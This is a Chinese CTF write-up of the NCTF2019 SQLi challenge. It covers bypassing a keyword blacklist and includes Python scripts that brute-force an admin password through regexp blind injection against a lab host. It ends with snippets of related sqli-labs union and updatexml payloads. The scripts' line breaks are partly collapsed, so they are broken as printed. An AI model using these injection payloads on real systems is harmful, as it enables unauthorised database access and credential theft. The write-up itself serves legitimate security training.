[NCTF2019]SQLi regexp 盲注

2023-10-10 07:20
文章标签 盲注 sqli regexp nctf2019

本文主要是介绍[NCTF2019]SQLi regexp 盲注,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

/robots.txt

访问一下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,Then you will get the flag;

这里实现了过滤

说需要admin的密码

这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过

所以我们通过passwd注入

or 使用 || 代替

然后空格使用 /**/代替

我们尝试登入

发现进行302跳转 但是没办法

所以还是要通过 查询admin passwd 进入

所以我们开始

写注入的代码 这里很多都被过滤了

但是放出了 ^和 regexp

正则

我们可以通过正则来读取

和下面的例子一样

select (select 'b') > (select 'abc')  这个时候会返回0select name regexp "^a"     这里的name是admin   //我自己的数据库返回的是1

所以我们可以通过 布尔注入实现这道题的读取

import time
from urllib import parseimport requests
import stringbaseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'def add(flag):res=''res += flagreturn  res
flag=''
ascii_chars = string.ascii_letters + string.digits + string.punctuation
print(ascii_chars)
for i in range(20):for j in ascii_chars:data = add(flag+j)paylaod1 = paylaod.format(data,parse.unquote('%00'))print(paylaod1)data={'username':'\\','passwd':paylaod1}re=requests.post(url=baseurl,data=data)if re.status_code == 429:time.sleep(0.5)if "welcome.php" in re.text:flag += jprint(flag)break

这里很坑 上面的 字符*的时候会循环输出        

you*u*u*u

不知道是环境问题还是什么

所以我们现在替换

import time
from urllib import parseimport requests
import stringbaseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'def add(flag):res=''res += flagreturn  res
flag=''
ascii_chars = string.ascii_letters+string.digits+"_"
for i in range(20):for j in ascii_chars:data = add(flag+j)paylaod1 = paylaod.format(data,parse.unquote('%00'))data={'username':'\\','passwd':paylaod1}re=requests.post(url=baseurl,data=data)if re.status_code == 429:time.sleep(0.5)if "welcome.php" in re.text:flag += jprint(flag)break

这个就可以爆出值了

you_will_never_know7788990

这篇关于[NCTF2019]SQLi regexp 盲注的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/178889

相关文章

【深度分析】报错:com.sun.org.apache.regexp.internal does not exist

文章目录 问题分析思路这个类在哪里?本地能跑,Jenkins 上不能跑?JDK 把这个 package 删掉了?JDK 啥时候把 package 删掉了?翻阅 JDK8 Release Notes查阅 Jakarta-regexp查阅 bug 说明 解决参考 问题 项目本地 mvn clean install 打包都正常,但是到 jenkins 中打包就会报错。 报错信息

【JavaScript】标准库:RegExp对象

文章目录 1 概述2 实例属性3 实例方法3.1 RegExp.prototype.test()3.2 RegExp.prototype.exec() 4 字符串的实例方法4.1 String.prototype.match()4.2 String.prototype.search()4.3 String.prototype.replace()4.4 String.prototype.spl

sqli-lab靶场学习(一)——Less1

前言 最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。 安装部署 网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过

sqli-labs靶场通关攻略(61-65)

Less-61 步骤一:查看数据库 ?id=1')) and updatexml(1,concat(1,(select database())),1)--+ 步骤二:查看表名 ?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where ta

SQLi-LABS靶场56-60通过攻略

第56关(单引号括号闭合) 查数据库 ?id=-1') union select 1,database(),3 --+ 查表 ?id=-1') union select 1,(select table_name from information_schema.tables where table_schema=database()),3 --+ 查字段 ?id=-1') uni

sqli-labs靶场通关攻略 56-60

主页有sqli-labs靶场通关攻略 1-55 第五六关 less-56 步骤一:闭合方式:?id=1')-- + 步骤二:查询数据库 ?id=-1') union select 1,2,database() --+ 步骤三:联合查询 查出网站的数据库表名 ?id=-1') union select 1,2,group_concat(table_name) from inf

sqli-libs第四关详解

首先判断是数字型注入还是字符型注入 正常显示,说明是字符型注入,那么尝试单引号闭合 还是正常显示,尝试双引号闭合 有报错信息,含有括号,这时就应该想到,sql代码是("$id")这样写的了。直接采取闭合,判断字段数。 4不行,那就是3个字段,再看看哪些地方可以显示数据,把数据库名和版本也搞出来 后面就是利用information_schema这个库查询信息了,先看看s

sqli-labs靶场通关攻略(五十一到五十六关)

sqli-labs-master靶场第五十一关 步骤一,尝试输入?sort=1' 我们发现这关可以报错注入 步骤二,爆库名 ?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ 步骤三,爆表名 ?sort=1' and updatexml(1,concat(0x7e,(select group_concat(ta

sqli-labs靶场通关攻略(51-60)

Less-51 1、判断闭合方式 输入?sort=1' --+  页面闭合成功  2、查询数据库 输入?sort=-1' and updatexml(1,concat(1,database()),1) --+ 3、查询数据库中的表 输入?sort=-1' and updatexml(1,concat(1,(select group_concat(table_name) from in

[Meachines] [Insane] Bankrobber XSS-MDOG+SQLI+XSRF+Local-RCE+Bankv2转账模拟应用缓冲区溢出

信息收集 IP AddressOpening Ports10.10.10.154TCP:80,443,445,3306 $ nmap -p- 10.10.10.154 --min-rate 1000 -sC -sV -Pn PORT STATE SERVICE VERSION 80